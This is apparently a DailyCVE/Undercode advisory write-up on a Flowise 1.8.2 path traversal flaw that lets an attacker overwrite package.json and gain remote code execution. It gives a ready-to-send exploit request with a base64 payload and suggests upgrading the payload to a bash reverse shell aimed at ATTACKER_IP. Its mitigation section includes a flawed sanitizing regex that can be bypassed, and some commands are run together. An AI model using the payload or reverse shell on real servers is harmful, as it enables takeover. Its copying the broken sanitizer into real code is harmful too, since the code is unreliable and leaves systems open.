How the CVE Works:
The vulnerability exists in the `/api/v1/document-store/loader/process` API endpoint of Flowise, which allows an attacker to write arbitrary files to the filesystem. The issue stems from improper handling of the `fileName` parameter in file-writing functions within packages/components/src/storageUtils.ts. Specifically, the `fileName` parameter, which is user-controlled, is passed directly to `path.join()` without sanitization. This allows an attacker to use directory traversal sequences (../) to write files to arbitrary locations on the server.
For example, an attacker can overwrite critical files like `package.json` by crafting a malicious request with a `fileName` parameter such as filename:/../../../../../usr/src/package.json. When the server processes this request, it writes the attacker-provided content to the specified path. By modifying the `scripts` section of package.json, the attacker can execute arbitrary commands when the server starts (e.g., pnpm start). In the provided Proof of Concept (PoC), the attacker modifies the `start` script to create a file (/tmp/pyozzi-poc), demonstrating Remote Code Execution (RCE).
DailyCVE Form:
Platform: Flowise
Version: 1.8.2
Vulnerability: Path Traversal to RCE
Severity: Critical
Date: 2023-XX-XX
What Undercode Say:
Exploitation:
1. Craft Malicious Request:
Use the `/api/v1/document-store/loader/process` API to send a payload with a malicious `fileName` parameter.
Example:
{
"loaderId": "textFile",
"storeId": "c4b8a8fb-9eb6-47ae-9caa-7702ef8baabb",
"loaderName": "Text File",
"loaderConfig": {
"txtFile": "data:text/plain;base64,ewogICAgIm5hbWUiOiAiZmxvd2lzZSIsCiAgICAidmVyc2lvbiI6ICIxLjguMiIsCiAgICAicHJpdmF0ZSI6IHRydWUsCiAgICAiaG9tZXBhZ2UiOiAiaHR0cHM6Ly9mbG93aXNlYWkuY29tIiwKICAgICJ3b3Jrc3BhY2VzIjogWwogICAgICAgICJwYWNrYWdlcy8qIiwKICAgICAgICAiZmxvd2lzZSIsCiAgICAgICAgInVpIiwKICAgICAgICAiY29tcG9uZW50cyIKICAgIF0sCiAgICAic2NyaXB0cyI6IHsKICAgICAgICAic3RhcnQiOiAidG91Y2ggL3RtcC9weW96emktcG9jICYmIHJ1bi1zY3JpcHQtb3MiCiAgICB9Cn0=,filename:/../../../../../usr/src/package.json",
"textSplitter": "",
"metadata": "",
"omitMetadataKeys": ""
}
}
2. Trigger RCE:
Restart the server or wait for the `pnpm start` command to execute the malicious script.
Example:
pnpm start
3. Reverse Shell:
Replace the `touch /tmp/pyozzi-poc` command with a reverse shell payload to gain full server control.
Example:
bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1
Protection:
1. Input Validation:
Sanitize the `fileName` parameter to prevent directory traversal.
Example:
const sanitizeFileName = (fileName) => {
return fileName.replace(/..\//g, '');
};
const filePath = path.join(dir, sanitizeFileName(fileName));
2. Restrict File Paths:
Limit file writes to a specific directory.
Example:
const allowedDir = '/var/www/uploads/';
if (!filePath.startsWith(allowedDir)) {
throw new Error('Invalid file path');
}
3. Use Secure Libraries:
Replace `path.join()` with a secure library like `safe-join`.
Example:
const safeJoin = require('safe-join');
const filePath = safeJoin(dir, fileName);
4. Monitor File Changes:
Implement file integrity monitoring to detect unauthorized modifications.
Example:
sudo apt install aide sudo aideinit sudo aide --check
5. Patch Management:
Update Flowise to the latest version if a patch is available.
Example:
npm update flowise
6. Network Segmentation:
Isolate the Flowise server to limit the impact of a potential compromise.
Example:
sudo ufw allow from TRUSTED_IP to any port 3000
7. Log Analysis:
Monitor logs for suspicious API requests.
Example:
tail -f /var/log/flowise/access.log | grep '/api/v1/document-store/loader/process'
8. Disable Unused APIs:
Disable or restrict access to the vulnerable API if not in use.
Example:
app.use('/api/v1/document-store/loader/process', authMiddleware);
9. Use Web Application Firewall (WAF):
Deploy a WAF to block malicious requests.
Example:
sudo apt install modsecurity
10. Regular Security Audits:
Conduct periodic code reviews and penetration tests.
Example:
npm audit
By following these steps, you can mitigate the risk of exploitation and protect your Flowise installation from similar vulnerabilities.
References:
Reported By: https://github.com/advisories/GHSA-8vvx-qvq9-5948
Extra Source Hub:
Undercode
